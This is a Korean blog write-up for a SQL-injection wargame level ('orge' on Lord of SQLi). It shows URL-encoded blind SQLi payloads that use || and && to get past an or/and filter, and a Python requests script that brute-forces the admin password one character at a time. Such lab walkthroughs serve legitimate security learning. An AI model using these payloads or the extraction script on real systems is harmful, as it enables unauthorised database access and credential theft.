SMALL
이 문제는 pw를 get으로 받는데 정확하게 pw를 맞추라는 문제이고 or, and가 제한이 걸려있는 blind sql injection문제이다.
첫번째 조건문을 보아 쿼리문을 통해 참이면 "Hello [id]"가 출력이 된다.
조건 참일 경우를 이용하여 길이를 하나하나 찾아 주었고 그냥 입력하면 정상적으로 들어가지 않아 # 을 넣어 뒤에를 주석처리를 해주었다.(URL인코딩)
and,or는 &&, ||로 대체해서 쓸수있기에 이것을 이용해 랭스를 알아 보았다. (URL인코딩을 통해 우회를 해주었다.)
|| : %7c%7c
&& : %26%26
?pw=1'%7c%7c id='admin' %26%26 length(pw)=8 %23
전 문제와 비슷하게 넣었는데 똑같은 8자리였다.
?pw=1'%7c%7c id='admin' %26%26 ascii(substr(pw,1,1))<64 %23
전 문제 처럼 ord()함수를 이용하면 막힌다. 아마 or을 제한해놓아서 그런것 같다 그래서 같은 기능을 하는 ascii()함수를 이용해 주었다.
바로 자동화 시켜주기!
import requests
headers = {"cookie": 'PHPSESSID=[Your Session ID]'} #자신의 쿠키 값을 넣어준다.
url = "https://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?" #url
for i in range(1, 9): # 큰 반복분 8자리 이기에 9까지
for j in range(48, 127): # 작은 반복문 숫자부터 시작함
params = {'pw':"1' || id='admin' && ascii(substr(pw," + str(i) + ",1))=" + str(j) + " #"}
r = requests.get(url,params=params,headers=headers)
if "Hello admin" in r.text: 응답값에서 텍스트가 Hello admin이면 출력하고 다음자리로
print(chr(j),end='')
break
실행결과 : 6c864dec
클리어!
'Network > LOS' 카테고리의 다른 글
[LOS_9]vampire (0) | 2019.08.17 |
---|---|
[LOS_8]troll (0) | 2019.08.17 |
[LOS_6]darkelf (0) | 2019.08.16 |
[LOS_5]wolfman (0) | 2019.08.16 |
[LOS_4]orc (0) | 2019.08.16 |